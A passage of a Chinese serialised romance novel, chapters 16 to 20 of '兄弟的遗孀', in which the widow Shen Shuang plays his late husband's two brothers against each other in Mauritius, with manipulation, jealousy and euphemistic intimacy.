可沈霜太单纯了,一只在澳洲牧场上吃草的小羔羊能懂什么心机?
是被通缉了,所以急急忙忙出来?这没准备,哪没准备。
冷缪同样坐起身,两人半边身子重合,胸膛与脊背贴紧,“我带你去。”
“我托人换辆车,等半个小时就好。”冷缪着手拿起手机喊人,安抚说:“这边离机场就一个小时车程,我定个机场周边的酒店。”
沈霜松弛下来,半靠在冷缪怀中,任由冷缪伸手揽着他,“你好厉害呀,又麻烦你啦。”
这夸奖听过去就是一种怪模样,冷缪拧眉,沉声说:“沈霜,你的事都不算麻烦。”
手牵了、嘴亲了,昨夜踹着他心口卖娇的时候,怎么不说麻烦?
“老师问我中午能不能一起吃个午饭。”沈霜目露歉意望着冷缪,斟酌说道:“我们下次再吃吧,毕竟老师待不了多久……”
冷缪几乎要听见自己咬牙的声响了,怒火愈盛,面上却仍维持着假面,“干嘛那么麻烦?一起吃啊。”
他倒要看看这个徐丰年打算耍什么阴谋诡计诱哄沈霜!
沈霜眉头轻蹙,“客带客不好……”
冷缪眼眸瞬间圆睁,脖颈上的筋络因为愤怒而暴跳,再也控制不住满膛的愤怒,“操!”
低吼道:“客带客?你是什么客?恩客吗!”
沈霜知道冷缪生气时说话不过脑子,想不到会连自己也贬低进去,实在好玩。
“你说话太难听了,我不是这个意思,我只是怕麻烦你。”
“手也牵了,嘴也亲了,你说你是客人?”冷缪满心欢喜都化成一腔委屈,“偏这时候划清界限,说怕麻烦我?”
他攥着沈霜的手腕,逼迫沈霜和他对视,“亲你嘴的时候怎么不说怕麻烦我?”
“沈霜,你到底是什么意思!”冷缪锋利的眉眼混进雨天的阴沉里,声音像夜里诡谲翻涌的波涛一样危险,“你到底……是什么意思?”
“就这样暧昧不清,缠下去吗?”
冷缪登时觉得好累,灵魂缩在角落里,病恹恹的皱成一团,“我不想再这样拉扯下去了,求求你……给我一个准话。”
沈霜垂下眉眼,又恢复了那乖顺的忧愁模样,凑近冷缪,手心捧着他的脸颊,细看他焦躁的眉眼,安抚道:“对不起,别生气。”
冷缪冷笑一声,身体因为暴怒而颤抖,那双鬣狗一样的眼死死盯着沈霜,寒光刺在沈霜身上,却被沈霜避而不见。
“这就是你的答复吗?”冷缪咧着嘴,露出森森白牙。
握着沈霜的手松开,却又在下一秒掐着沈霜的下颌,强行让他抬起脸。一张美人面上满是纯粹的不解,那双瞳仁好黑,黑到将所有情绪纳入,却不反馈
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分毫。
沈霜张了张唇,想说什么,又咽回去。
冷缪面色冷峭,最终松开手,无力瘫软地靠在床头上,声音里是难掩的疲惫,“你走吧,踏出这个门,从今往后我们再无关系。”
沈霜缓缓站起身,走进浴室里,换上他自己的衣服,雪色的绣花衬衫和一条西装裤。温吞地收拾自己的行李,抽出行李箱的拉杆。
冷缪偏过头去,不敢看,听着脚步声渐行渐远,关门声和他的心跳重合,心脏在胸腔里剧烈跳动,他死死咬着牙。
第二道关门声响起,冷缪再也按捺不住,他猛的站起身,炮弹一样冲出去,一把拽着刚出房门的沈霜,再度将人拉回来。
“沈霜,我真的是受够你了。”他声音里带着愠怒,将沈霜摁靠在墙壁上,“你真的一点都不在乎我吗?”
为什么走的那么果决?
为什么不肯给他一个答复?
冷缪的眼里簌簌落下泪,砸在地面,坚挺的脊背佝偻下来,颓然地将脸埋在沈霜的胸膛,“我不是真的要你走……”
“我只是想让你给我一个答案,我们这样到底算什么关系?”
没有人口头说过爱,没有确认关系,却牵手、亲嘴,相拥着入睡。
许久没有回应,冷缪抬眸,窥见沈霜眼眸里的深沉,粉白的脸透出虚无的寒凉,略微思忖后,沈霜沉吟说:
“冷缪,我不会因为你的脾气,从而顺着你的诱导走。”
“为什么?”冷缪声音颤抖,喉咙干涩,每一个字都棱角分明的从喉咙里钻出来,划得血淋淋,“我只是想要一个答案。”
沈霜低头,眼里无喜无悲,“可是我不想给。”
“我们这样不好吗?”
青年的声音沙哑,带着磁性的嗓音丝丝缕缕缠上来,绕着他的咽喉收紧,令他窒息。
“你得到了你想要的,我也不会这样对第二个人。”
“真的吗?”冷缪面上的痛苦纠缠清晰可见。
沈霜抬手抚过冷缪脸上,每一道因为痛苦而泛起的痛纹,低低地笑,尾音拉长,听起来暧昧又缱绻。
“真的。”
真是一条好哄的狗。
17. 兄弟的遗孀(17)
冷缪双手揪着沈霜的领口,绸缎绣花的衬衫竟也起了皱,交错的银丝绣花与褶皱错综,正好像他心脏裂开的纹路。
他不会这样对第二个人。
那自己就合该没有名分下去吗?
似是知道他在想什么,沈霜盈盈的眼眸凝望着他,是冷峭后的一抹还春,冷极了,可那一丁点儿暖意还是让人止不住的沉沦。
就这样下陷、下陷,陷入一场永无止境的甜腻爱恨中,被关在透明玻璃罐里发酵。
他说他不会再这样对第二个人。
冷缪失了力气,径直跪在地上,泪水混着哀求落下。
沈霜半弯腰,手指挑起冷缪的下颌,看着他失神喘息的模样,痴迷、爱欲、痛苦,还有恨,纷杂的情绪在冷缪俊美的脸上蔓延。
沈霜俯身,轻轻在他眼下落了一个吻,舌尖卷起苦涩的眼泪,寸寸吻过泪痕,夸赞道:“很漂亮。”
冷缪恍惚、怔楞,坠进一场昂长的白日梦里,周遭景色变得模糊,在他眼中,沈霜周身竟飘去袅袅白烟,似神龛里无喜与悲的佛像。
可他却清楚感受,沈霜以他的极端为食,精怪一样舔舐着他的情绪,以此充盈饱满皮囊。
佛、妖……
两者不断在冷缪脑中转换,他仰望着沈霜,突兀伸手拽着沈霜的衣领,吻上他的唇,野蛮的吮吸和撕咬,血腥味在口腔里蔓延。
管他佛还是妖,沈霜说过——不会再这样对第二个人。
他是唯一,那就足够了。
沈霜与他相拥,两人在地板上翻滚,灰紫色岛风铃的盆子被不知谁的肩膀轻撞,将谢的灰紫色铃花加速坠落,轻巧的落在沈霜的唇畔,沾上一抹艳红的血。
衬衫被随意扔到一旁,冷缪早已蓄谋已久找出那件红绳装,哀求着、渴望着,“穿上给我看看好不好……”
“沈霜,我是没名没分的地下情人,我好可怜啊……求求你,满足我。”
“你说我是特别的,不会再像对我一样,对待他人。”
沈霜既不点头也不摇头,依旧是沉默,双颊酡红,迷离的双手勾上冷缪的肩膀。
风裹挟着暴雨砸在阳台,一片坚韧的叶子被雨滴不断击打,饱满叶里流出的液与水混合,连接的叶柄不堪重负,终是断开,飘飘摇摇转圜着撞在落地窗上,被落地窗阻拦。
下了暴雨的毛里求斯冷起来,他们像被开了壳的蚌,里面的软肉紧贴取暖。
红的、白的,勒出泛粉的颜色,那些陈年的疤痕被一一吻过,吮吸,添上一抹艳色,沈霜敏感的战栗,手指穿插进冷缪发中,揪着他的头发,失焦的眼氤氲着泪。
手机的屏幕亮了又熄,沈霜从地上被抱到床上。
脊背和肩膀因为撞击而酸疼、青紫,沈霜想抬脚踹冷缪,却牵扯到酸胀肌肉,“嘶”一声,改为抬手扇了他一巴掌。
冷缪被打偏过头,旋即凑过来,递上另半张脸,永不知足地说:“这边还没打。”
沈霜也不含糊,又是一巴掌打过去,冷缪将头埋进沈霜的颈窝里,狗一样嗅闻、拱着蹭着。
手机屏幕再一次亮起,沈霜这才想起两人争吵的伊始,竟已过去三个小时,徐丰年的未接来电、短信,源源不断跳出来。
从最开始的礼貌问询,到后面的生气失约,最后成为一种焦虑忧愁。
冷缪以为沈霜会自责难过,却见沈霜面无表情,轻巧的打出几行字。
沈霜说路上出了车祸,手机摔坏了,刚刚处理完,又道歉说不好意思让老师担心了。
拙劣的借口,而对面的老男人却看不穿般,一连串的关心发来,实在可恨。
“还要去接他吗?”冷缪问,心中怀揣着期待。
这样累,肯定不会去了。
沈霜抽出扔在床头柜上的烟,冷缪替他点上火,烟草味中带着股上头的劲,尼古丁混在烟雾里,刺激着感官。
“不去了。”
期待得到证实,心中的小人手舞足蹈,冷缪面上仍端着架势,轻飘飘说:“改天给他赔礼道歉就好了。”
沈霜点点头,说话间烟雾从渗血的唇溢出,“是要好好赔礼道歉。”
冷缪心中暗骂自己傻逼,好端端多一嘴做什么。
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“送什么呢?”沈霜摁灭烟头,滑下来,窝进冷缪怀中,“领带和腕表怎么样?”
“不怎么样。”冷缪咬牙切齿,脑中突兀灵光一现,眼眸圆睁,带着狡黠的满满恶意,他亲了亲沈霜的额头,低声说:“交给我吧,我知道送什么。”
冷缪当即联系冷家的管家,要求管家将垃圾桶里的东西加急寄过来。
冷缪领地意识很强,不喜欢外人进他房间,所以即使已经离开三天,国内的房间还是保持原样。
安排完后,他低头看去,沈霜靠在他的怀中,好像已经睡着了。
眼皮酸涩的红肿着,睫毛上是干涸的泪水,瓷白的肌肤上泛着酡红,是迷人的色调,饱满、鲜嫩的唇,唇缝里是颜色更深的血迹,像被蹂躏一样的破口已经停止渗血。
牙印、吻痕遍布。
冷缪眼眸微凝,缓缓停滞在沈霜的锁骨上,伸手去摸,指腹来回扫过,怎么也不记得曾在沈霜的锁骨咬下一口。
触感并没有凹陷,冷缪垂着头,细细看去,这才认出来,好像是个纹身。
是谁的不言而喻了……
冷缪又开始磨牙,牙关死死咬紧,酸疼酸疼,他俯身下去,在那纹身上咬下一口。
沈霜闷哼一声,伸手将他推开,困倦开口,“让我休息一下。”
看着覆盖的新牙印,冷缪才有几分满足。
这样的沈霜,睡美人一样被他抱在怀里。
冷缪喟叹一声,终于知足,“就这样在一起就够了。”
“就这样在一起就够了。”
沈霜却并未睡着,声音懒倦,轻飘飘的钻进冷缪耳中,又重重绞紧他的心脏。
“冷缪,我可不敢和你在一起,我怕把你克死。”
冷缪才说服自己平和,现在的表情又狰狞起来,心脏似要被绞碎,又酸又疼,几近崩溃,一滴泪砸在沈霜脸上。
他颤声说:“对不起、对不起……”
冷缪终于理解了沈霜痛苦的缘由,懂得那抹眉间忧愁的来源。
好痛啊、好苦啊,像心脏上筋膜被活剥一样的痛。
18. 兄弟的遗孀(18)
回旋镖终于扎到自己身上了。
身体里好像有一片海,泪怎么也止不住。
因得不到心上人的爱而痛苦,也因曾亲手伤害过心上人而痛苦。
沈霜沉沉睡去,呼吸匀称,胸膛起伏并不明显,恬静、淡漠,深邃的眉眼挂着疏离。
一场雨小了又大,在傍晚时分终于只剩零星几滴,细毛一样的落下。
沈霜睁着惺忪的眼,与一直望着他的冷缪直勾勾对上视线。
冷家三兄弟的五官都是冷硬、矜贵的长相,五官凶狠锐利的俊气。冷邈常年带着眼镜,淡化这种锋利,冷绛总是带笑,透出一种矛盾的柔。
只有冷缪不加掩饰,桀骜的脸看人自带三分不屑。
而现在,他的眼眸带着未散去的泪,颧骨上是一枚沈霜咬下的牙印,只剩些淡粉的颜色,神情是悲哀的。
沈霜伸手,从他的喉结攀到脸上,指腹来回摩挲着他的眼睛,“怎么哭了那么久?”
好可爱啊,具象化的痛苦在脸上实在太让人兴奋,光是看着就激起颤栗。
“对不起。”冷缪还是在道歉,声音沙哑、沉闷。
“冷缪。”沈霜半坐起身,柔软劲瘦的身体贴过去,拥抱着他,“这样道歉是没用的。”
“你要反省自己的错误,再给出补偿方案,这才是正确的道歉流程。”他直直望着冷缪,冲他勾唇笑着,“生来高人一等的冷家三少爷还没道过歉吧?”
冷缪听进去了,脸上浮现认真神色。
沈霜说对了,高贵的少爷活了半辈子也没给旁人道过歉,无论错是否在他,也只有别人点头哈腰谄媚的份。
“沈霜,我很抱歉。你出现的时候我瞧不起你,所以和你相处时,我从未在意过自己的说话方式,对你口不择言的贬低。”
“我还没想到应该怎样补偿你,我觉得不管做什么,对我而言都太轻易,算不上补偿。”
“你可以先不原谅我,等我想到该怎么补偿你的时候,等我真正践行的时候,你再考虑是否该原谅我。”
一番话说的真挚动人,换旁人肯定感动了。
沈霜却只觉得冷缪这样很美味,亲手将一条野狗变成家养的乖狗,一言一行都由自己教导,就像镌刻了印记,戴上看不见的项圈。
“真可爱啊,宝宝。”沈霜由衷的感叹。
冷缪仿若得到无上嘉奖,恨不得蹦起来,抱起沈霜在这偌大的房间里打转。
沈霜的指腹轻轻摁压冷缪的喉结,冷缪只觉得一阵难耐与窒息。
“抱我去洗澡。”
温热的水液浸透两人相贴的肌肤,粗糙或细腻的手心划过对方的肌肤,毛孔都因享受而舒张,雾气、水珠蔓延在浴室内。
沈霜舒服地发出一声喟叹,疲惫、酸疼的身体都在水中放松,冷缪狗一样的去咬他的蝴蝶骨,顺着脊柱爬上肩头,牙印最后落在锁骨上。
沈霜勾着他的脖颈,惩罚似得轻咬了下他的喉结,又贴着含住,喉结在他口中滚动。
冷缪粗喘一声,将脸埋进沈霜湿漉地头顶,一簇簇头发带着暖意粘在他脸上,发散的香味糊进口鼻,清甜的、黏糊的,像融化的蜜糖。
沈霜的头发又长了些,快到蝴蝶骨了,黑发贴在瓷白的肌肤上,冷缪勾起他的头发,问:“会不方便吗?要不要修短点。”
他仍记得,沈霜说是为冷绛蓄起长发。
沈霜仰面仰头,唇是艳红的肿,多肉一样的饱满,“不要。”
冷缪心里又一落千丈了,紧紧抿着唇,委屈不再掩藏,他知道沈霜沉迷他外露的情绪。
沈霜抬手摸上他面颊,随口哄道:“乖乖,不是为他留的头发。”
所有的不甘和怨恨在这一刻通通消散,化作糜烂的流彩在心里炸开烟花般四溅。
沈霜爱冷绛,可冷绛死了,陪在沈霜身边的是他,也只有他。沈霜只是不爱他,但也不爱这世上活着的其他人。
他是特别的。
冷缪的身子止不住因为兴奋而颤抖,他帮沈霜洗完澡,正要裹着浴巾把人带出去,沈霜却握住他的手腕,“要涂护发素。”
冷缪第一次知道一头柔顺的长发竟然需要那么多护理工
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作,一向耐心不足的大少爷竟老老实实帮沈霜护理完头发,还颇为自得的不舍。
淡淡的荼靡香从发丝间散出,勾着鼻腔细嗅,似有春潮在暗涌。
最后一滴雨落在地上,溅起的水花归无。
两人漫步在刚下过雨的路易港,蓝色的公交从身旁开过,墙上的彩绘斑驳褪色,带着岁月的新痕。
刚至贝特朗雕像又开始下起雨,实在天不遂人愿。
冷缪买了把伞,向沈霜那儿倾斜,回到停车的地方,开车回了家。
红顶的小院窗户透光,和他们出来时一样宁静。
冷缪推开门,脚步忽然顿住,沈霜见此问道:“怎么了?”
冷缪并没有回话,沈霜蹙眉靠近,透过冷缪与大门的缝隙,看清里面的一切时,反应如冷缪一样呆滞。
暴雨声在耳边响彻,屋内满室寂静,靠窗的软沙发上,昨夜沈霜在那儿踹了冷缪心口一脚,今日坐上了其他人。
本该在国内的冷邈,竟不合时宜出现在这。
冷邈穿了身修身的淡蓝西装,翘着二郎腿,连眼都未曾抬一下,翻书时纸张摩擦的声音听去都慢条斯理。
压迫、肃穆,永远是那样运筹帷幄。
可细看能察觉出冷邈面色疲惫,眼下青黑明显,眼里也多了几分混沌,并不似往日锐利。
冷缪侧步,将沈霜挡在身后,语气不善地问道:“大哥千里迢迢过来为了什么?”
明知故问,意味警告。
冷缪这才抬眼看向二人,沈霜的身子被冷缪藏的严实,随风吹动的发丝漏出。
“沈霜,过来。”他说。
冷缪紧张起来,又记起家中的一幕,那次沈霜选择了冷邈。
这一次,沈霜揪住他的衣袖,纹丝不动。
冷邈平稳的假面碎裂,像冰湖一样,暗涌的寒冷湖水从裂缝里涌出,他缓缓扯起一个冷笑,“玩的开心吗?连亡夫的骨灰都忘了。”
他伸手拍了拍桌子上的骨灰盒,“没关系,我带过来了。”
他们这才注意到桌面上的骨灰盒。
19. 兄弟的遗孀(19)
纵使冷缪在心里骂了冷邈无数遍卑鄙无耻,面上的皮却也绷紧不敢言语。风声鹤唳地观察着沈霜的一举一动。
冷绛的份量太重了,重到常常压得他喘不过气,分明死后才那么小一个骨灰盒,双手就能捧起。
冷缪不用去想后面的走向,沈霜肯定会泪如雨下地走过去,抱起骨灰盒,失了这些日子养出的肆意,又归为乖顺模样,仍冷邈拿捏。
他曾以此要挟过沈霜,旁人自然也能。
沈霜推开冷缪挡在门口的身体,缓步走进去。
冷邈素来古井无波的脸,看见沈霜的动作是,噙起一抹满足的笑。
心中那崩塌的楼阁在瞬间重建,高高矗立,穿过彩绘玻璃、垂落绸缎,繁美的黄金笼旁,有一只黑色狐狸正在他眼中心甘情愿走进笼中。
冷缪面色涌上焦急,扯住沈霜的手,声音里带了哽咽的怕,“别去、别听他的,求求你……”
“沈霜,你说过的,不会再这样对第二个人。”
“你说的,就这样就好。”
沈霜的脚步很慢,却让他无端看出一种坚定,连一个眼神都未分给冷缪。
冷邈终于放下那本书,站起身,对沈霜伸出了手,“沈霜,我愿意陪你。”
几天前夜晚的请求在下着暴雨的毛里求斯得到回答,雨声纷杂,来势汹汹,裹着他们跌进一场洪流的闹剧中。
沈霜停在了二人中间,再分寸未动,他嘴角上翘,眸里却是一片淡漠。
冷邈眼眸微睁,心中隐隐不安。
冷缪紧紧攥拳,失神的眼里满上希冀的光彩。
“哥哥,我想开了。”
“守着一个死人过一辈子,未免对自己太过苛刻,您说的很对,钱和权才是我想要的东西。”
那夜的回答也有了改变,按了他的想法,却又并未如他的意。
冷邈面色凝重起来,还是试图将一切拉回自己的预想之中,“那你也该选我,冷家是我做主。”
沈霜脚步微抬,却不是朝他靠近,而是退后,一步又一步,撞进冷缪的怀中,脸上是讥讽恶劣的盎然笑意。
“有些东西过犹不及。”
冷缪难掩喜色,激动的圈住沈霜,将人固执禁锢怀中,以一种保护的占有姿态。
沈霜这番话,是不是说明,他在沈霜心中也有了几分重量。
冷缪傲然抬起头,春风得意地望向冷邈,“哥,听到了吗?”
“现在你可以打道回府了。”
他选我,他选了我。
一切发生的太始料不及,唯独喜悦能跟上心境,一股脑涌进身体里,克制不住的颤抖。
冷邈脸色愈发阴沉,隐隐有了怒意,带着皮质手套的手抚上骨灰盒,短短几天,桃木骨灰盒上落了一层灰,浅薄的。
黑色狐狸在黄金笼旁上蹿下跳,爪子拨弄上面的珠宝,要看笼门关上的那一刻,却一溜烟奔向旷野,投进另一人的怀抱中。
疲惫辗转在身体里,提醒着他,事情依旧没能按照预期发展,一切所为此做的计划都沦为无用功。
梦做的太真,隔绝的界限却被现实打破,于是梦溢了出来,里面欲望幻化的黑水淌了满身,粘稠覆盖碎石飞屑。
除了愤怒外,竟还有恨的存在。
他恨沈霜一次又一次不按他的预期而行,恨沈霜害他如此狼狈、疲惫。
真可恨啊。
“既然如此。”冷邈长叹一口气。
“我弟弟想必也不想看未亡人当做遗产似的,被自己一胎双生的弟弟继承。”冷邈双手捧起骨灰盒,手顿然一松,毫无预兆,“沈霜,一起恨吧。”
骨灰盒重重嗑在地上,盖子因重力被掀开,里面却空空如也。
静谧。
纷踏雨声耳畔响彻,冷邈不可置信地声音震响,“为什么?”
他站在原地,高高在上的掌权者再维持不住平静的假面,喃喃自语道:“为什么?”
“为什么会这样?”
沈霜再也抑制不住地大笑出声,上挑的眼里溢出泪,脸上笑出酡红,是张狂的嘲笑。
“大哥,我要恨什么?”
冷邈终于知晓从始至终是他落入了圈套,想要被驯化的狐狸是伪装的猎食者。
“冷绛的骨灰早在火化后就被我葬进了公墓中。”沈霜用拇指揩去眼角的泪,“您好蠢啊。”
“为什么要这样做?”冷邈的声音颤抖,掺杂上乞求,“沈霜,给我一个答案。”
“我只要一个答案。”
“很有意
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思啊。”天真的语气里带着一种纯粹的恶,“我喜欢你现在的表情。”
目睹一切的冷缪在沈霜这句话出来后,终于有了动作。
他抬手挡住沈霜的眼睛,让沈霜不再能看见冷邈的脸。
吸引沈霜的是他们的痛苦拧结,沈霜享受、欣赏,所以他有了与旁人不同的待遇,但这待遇沈霜也能给他人。
冷缪的小心思沈霜知道的一清二楚,他也愿意包容这只一手调教出来的乖狗,顺着冷缪的动作再后退半步,两人的身体紧贴。
乖巧的宠物会在他这儿得到更多偏爱。
冷邈抬手掩着脸,彻底认清沈霜并不是任他摆布的玩偶,也清楚知道方才自己的行为究竟有多丑陋。
他将所有公务压缩在两天里,开了大大小小十八场会,连轴转去签订合同,昼夜未歇,抽出这半天的时间。
晚上九点的机票,他只剩下两个小时。
竟然是为了过来当小丑。
实在太可笑了。
可有什么办法呢?
冷邈放下手,脸上的表情内敛,不再显露,他轻轻点头,“我懂了。”
说完,他径直朝两人走去。
冷缪如临大敌,将沈霜护得更紧,冷邈却没看二人,走出房屋,踏进毛里求斯的暴雨中,意气风发的背影出现几分落寂。
雨打在身上愈发的疼痛,五脏六腑都在叫嚣着不甘。
即将出院门时,冷邈似有所感地回头望去,他看见沈霜跳上冷缪的身,冷缪笑着托起沈霜,黑色长发被风吹的猎猎舞动,露出脖颈上一枚清晰的牙印。
不甘心。
他不甘心。
冷邈的呼吸变得沉重,脚步一转,再次踏进这栋红顶小院,浅蓝色西服浸透了雨,一滴又一滴顺着衣摆落下,在木地板上留下湿润脚印。
他又一次站在门口,浑身湿透,狼狈不堪,出口的话却依然傲慢。
“你们后续的计划是什么?”
“如果没有对应的旅行计划,那么由我规划未来两天的行程。”
野心勃勃的脏器无法忍受如此平庸的结局,更加无法接受掌控落空。
所以,他蛮横的加入,要将尚未粗壮的细枝捆结,哪怕畸形也要按照他的曲折去走势。
20. 兄弟的遗孀(20)
冷邈抬眸,青年双手勾着冷缪的脖颈,过分白皙的肌肤让人刺目、晕眩,笑着的唇牵动了昨夜被咬出的伤口,渗出丝丝缕缕的血,是艳丽的。
沈霜不喜欢摆上明面的掌控,他喜欢引导、诱惑,让人心甘情愿走进明目张胆的陷阱里。
冷邈这种人,生来就站在金字塔顶端,当成继承人培养。他傲慢、霸道,因为童年经历对爱情、亲情的认知有偏差,可他内心又敏感,渴望爱。
所以,哪怕冷缪带着沈霜逃走,也并未采取什么措施。又因他的傲慢,不屑用敏感的感知去共情他人的情绪。
惯常从自身出发,从而使他人改变行为。
沈霜低笑一声,唇角不动也是翘的,“大哥,您或许应该征求一下冷缪的意见。”
亲昵的动作,身上裸露的痕迹,话里的暗喻,毫无疑问他们上床了。
冷邈只觉得不可控的一切让他愈发头痛,他实在不清楚,才短短几天,两人的关系为什么会如此亲密。
太多事情出乎预料,冷邈只能一件件捋顺,再做打算。
冷缪将怀里的沈霜往上搂了搂,唱双簧一样开口,“哥你也知道的,咱们不太合得来,强待在一块儿也不舒服。”
“你还是快走吧,别待会赶不上飞机了,公司里那么多事,怎么麻烦你这个大忙人替我们出谋划策呢?”
软刀子的刺人。
冷缪并不在意冷缪赶人的态度,像他之前所说,羽翼未丰前,冷缪连上桌的资格都没有。
桌子可以掀一次,有了防备不会再有第二次。
冷缪赶不走他。
“没有后续的计划是吧?”冷邈再看向腕表,以命令的语气说:“那么从现在开始听我的。”
多年身居高位,掌控感浸淫身体,早已忘了加入措辞的委婉。
冷邈走上前,朝冷缪伸出手,“车钥匙。”
冰凉的车钥匙在口袋里竟有些隐隐发烫,冷缪抿着唇,脸上浮现愤怒,想不到冷邈有一天竟然能这么不要脸。
“先去买点衣服,再吃个饭。”冷邈看向沈霜,“毛里求斯的甘蔗朗姆酒很出名,喝过吗?”
冷缪半侧身,让沈霜不会直面冷邈,皮笑肉不笑地说:“喝过了,你又来迟一步。”
冷邈“啧”一声,摩挲着交织起伏的腕带,“冷缪,你多嘴了。”
“让你过来协助公司上市,这几天去过公司吗?”冷邈骤然发问,语气不咸不淡,却压迫感十足,“或许公司也不是很需要你这个执行总裁,看来还是打磨历练的不够。”
冷缪心中危机感升腾,意识到冷邈终于按耐不住想把他除名了,他抱着沈霜的手收紧,缓慢、缓慢的,手心里浸出的汗黏糊的贴着沈霜的衣服。
两兄弟目光灼灼对视,虎狼之争似的,尖刺一样的毛发炸起,只等对方率先漏出破绽,一击毙命。
“哥,”冷缪冷笑说:“沈霜不是可以利益交换的物品,他是一个人。”
冷邈的手抖了抖,似是知晓问题根源究竟在哪了。
没错了,人权。
沈霜爱钱,可也不想失了尊严,既要又要的姿态只有冷缪会满足他。
茅塞顿开,拧结的线自然舒展,诱饵也该换成更符合这条狐狸口味的东西。
那么现在,装得再大方些。
“沈霜,你能同意让我留下来吗?”这是冷缪第一次以请求的态度开口,语气仍然生硬,却已是他能做到最好的地步。
沈霜扭过头,直视着他,笑吟吟地弯着眉眼,那双眼里是近乎实体化的黑,流淌着编织成网。
轻轻的,沈霜指尖扯了扯冷缪的发尾,眼神里透着爱怜,“听他的吧,你争不过他的。”
声音不大不小,被暴雨声覆盖,却又恰好让他们能够听清。
冷邈怔楞的脑海里是沈霜方才的笑,无措从胸腔里蔓延,雨声淋漓落下,他后知后觉一切都是沈霜精心设计的陷阱。
他踏进来了,落进严丝合缝的陷阱中,密布的、毫无缝隙的,再没有余地挣扎。
及时止损是最好的做法,抛去沉没成本。
可是——
“怎么又是这样难过的表情?”沈霜双手捧着冷缪的脸,“可怜的小狗。”
眉眼里带着悲悯的神性,像一尊被端正摆放在神龛中供奉的神像。
沈霜的额头抵着冷缪的额头,“乖乖,别难过了。”
他们鼻尖碰在一起,侧脸逐渐重合,沈霜给了冷缪一个湿热的吻,柔软的嘴唇抵在一起,摩挲着。
沈霜的眼尾透着薄红,好似曾被指尖狎昵地揉捏,半眯的眼里是软烂的水汽,迷乱、糜烂,脖颈上的牙印在黑发之下,若隐若现。
冷邈简直要看疯了,这样悲悯的沈霜,像救苦救难的菩萨,不敢直视神性和那新旧的爱欲痕迹在他身上矛盾交织。
不可抗力的被吸引,不由自主跳进袅袅焚香炉中,交出血与肉,主动成为神明的新香。
他又想起沈霜那样希冀的眼,将他奉做神明一样的眼神,冷邈还想再重现这一幕。
好矛盾、好美丽。
他渴望沈霜还能用那样湿漉漉的眸望向他,说出依赖的体贴话。
他也企图沈霜用这样柔软的语气哄他,让他别再哭泣。
人总要为了贪心赌一把?
冷邈最终堂而皇之留了下来。
毛里求斯的暴雨停了。
冷邈昨夜买了两套换洗衣服,并不是他平常的正装风格,反倒有些形同沈霜。
白衬衫套了灰色排扣马甲,灯笼袖袖口坠下一小段麻花似的绳结,配上黑色西装裤,颇有种哥特式古典主义。
往日一丝不苟的背头也松了下来,刘海在额前翘起弧度,眼镜摘下后,嘴角挂着浅淡的笑。
见到他的第一眼,沈霜克制不住似的往前走了两步。
看到沈霜失神的模样,冷邈嘴角的笑有些得意。
冷缪不明就里,拉着沈霜的手,关切问道:“怎么了?”
沈霜掩去眸中失神,欲盖弥彰说:“没什么。”
冷缪眼中冷意迸发,刀子一样刺着冷邈。
怎么会没什么?沈霜眼中的留恋他太熟悉了,分明就是先前将他当做冷绛一模一样的眼神!
冷邈在模仿冷绛,真是恶心,耍出这种手段。
“走吧。”冷邈拿起桌上的车钥匙,“追鲸去,我预约了下午的直升机,带你去看海底瀑布,学艺术的应该更会钟情这些大自然创造的美景。”
话里话外自然而然将冷缪排斥在外。
“晚上……”冷邈话还未说完,就被冷缪打断。
“晚上我们约了徐丰年。”
冷缪笑着牵起沈霜的手,在他面前摆出亲密姿态,无时无刻提醒着冷邈,两人关系的更进一步。
“徐丰年?”冷邈皱眉,他当初确实将徐丰年介绍给沈霜,那是交易的利益,可却不知两人社交关系到何种地步,“他过来做什么?”
“徐丰年老师带我写生。”沈霜顺从的跟着冷缪往外走,两人坐上后排。
冷邈眼中有一闪而过的不怨。
即时语气已经放软,可不经意间流露的气势及动作还是那高高在上的架势,所以才会率先拿起钥匙,掌控进攻方的姿态。
没想到冷缪带着人坐上后排,把他当做司机。
坐上轮船后
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,冷邈这才发现计划的漏洞。
他不会去进行潜水这类运动,对于他而言,潜入海中,不能脚踏实地,是危险性很高的运动。
可现在,船行几个小时后,冷缪和沈霜双双换好潜水装备,坐在船沿,准备下水。
冷邈的手紧攥着船沿,眼神飘忽望向不远处起伏的海豚群,懊恼自己做事强势,竟又给冷缪做了嫁衣,创造机会。
入水声响起,沈霜的身影被海面模糊,随着越来越深,直至消失不见。
沈霜脱离了他的视线,事情在暗处又一次不受掌控的发展。
两人潜入海中,海水将四肢包裹,流动着推搡他们,光线愈发黯淡,下潜一个小时左右,手牵着手的两人看见了不远处的庞然大物。
尖嘴的抹香鲸遨游在海中,静谧、震撼。
岸上的冷邈愈发焦灼不安,日光晒在身上,啄食着肌肤,疼痛的酸涩从肌肤表层往深处蔓延,侵蚀进内里,好似要化作一滩脓水。
这是一个教训。
随行的船长说着英文问他,冷缪和沈霜与他是什么关系。
冷邈并不回应,船长见的人多了,怪脾气的也不少,笑呵呵说冷缪和沈霜的关系很好,是情侣吧。
冷邈这才将目光从海纹起伏的海面收回,认真对船长说:“不是。”
他们不是情侣,哪怕做尽了亲密的事,也还没有确认关系。
氧气瓶里面的氧气用了一半,潜水员领着两人上浮。
船沿着来时的路往回走,沈霜脸上是兴起的红,被晒得出了层汗,湿润的、晶莹的,笑眯眯的模样像只娇俏的猫。
眼睫如蝴蝶翕合翅膀,笑吟吟的目光看向冷缪,从始至终未分他分毫。
他们之间好似有种不可说的氛围,将外界通通排斥。
冷邈又开始反思,究竟是何处出了问题。
如果他们凑在一起,旁人无法插入,就让他们分开,趁虚而入。
看完海底瀑布后,临近傍晚,三人又驱车前往大湾区的饭店,欣赏日落。
徐丰年早早等在那儿,见来的不知沈霜,微不可察皱眉。
沈霜上前两步,笑着打招呼,“老师。”
青年的嗓音干净、清润,尾音带着些许沙哑,似撒娇般。
徐丰年撇开多人来的不快,招呼着沈霜坐下。
橙红色的夕阳照在海面、沙滩上,无数搜白色快艇停靠在港口。
沈霜推搡着冷缪,“快点把礼物拿出来。”
冷缪从怀中掏出礼物,嘴角勾起顽劣地笑,跟着沈霜喊徐丰年,“老师,上次沈霜出了些意外,让您在机场久等了,他一直觉得不好意思,为此让我挑了礼物给您赔礼道歉。”
徐丰年不是什么毛头小子了,冷缪说的再委婉,也是点他,告诉他两人的关系。
他看向沈霜,白的近乎透明的肌肤泛着粉,雪色的衬衫袖口向上翻折,露出一截带着青色血管的手腕,黑发撩拨着脖颈,隐隐约约可见颈侧那淤青的牙印。
